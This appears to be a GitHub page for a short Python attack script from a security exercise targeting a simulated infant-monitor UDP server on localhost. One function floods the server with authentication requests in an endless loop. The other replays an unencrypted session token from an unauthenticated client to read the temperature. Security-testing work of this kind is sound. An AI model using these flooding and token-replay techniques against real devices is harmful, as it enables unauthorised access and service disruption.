-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathattack01.py
36 lines (27 loc) · 1.35 KB
/
attack01.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import socket
def test_case_2():
infant_port = 23456 # Infant port
password = b'!Q#E%T&U8i6y4r2w' # password
while True:
s = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
s.sendto(b"AUTH %s" % password, ("127.0.0.1", infant_port))
msg, addr = s.recvfrom(1024)
s.close()
def test_case_3():
infant_port = 23456 # Infant port
password = b'!Q#E%T&U8i6y4r2w' # password
# The authorized client is using the password to authenticate into the server and get the token for further communication
authorized_client = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
authorized_client.sendto(b"AUTH %s" % password, ("127.0.0.1", infant_port))
msg, addr = authorized_client.recvfrom(1024)
authorized_client.close()
# Token is retrieved and as the token is not encrypted anyone can use it to retrieve information from server.
token = msg.strip()
# Now the unauthorized client will create a connection that will not authenticate but get temperature from server using the token
unauthorized_client = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
unauthorized_client.sendto(b"%s;GET_TEMP" % token, ("127.0.0.1", infant_port))
msg, addr = unauthorized_client.recvfrom(1024)
m = msg.decode("utf-8")
print((float(m)))
test_case_3()
# test_case_2()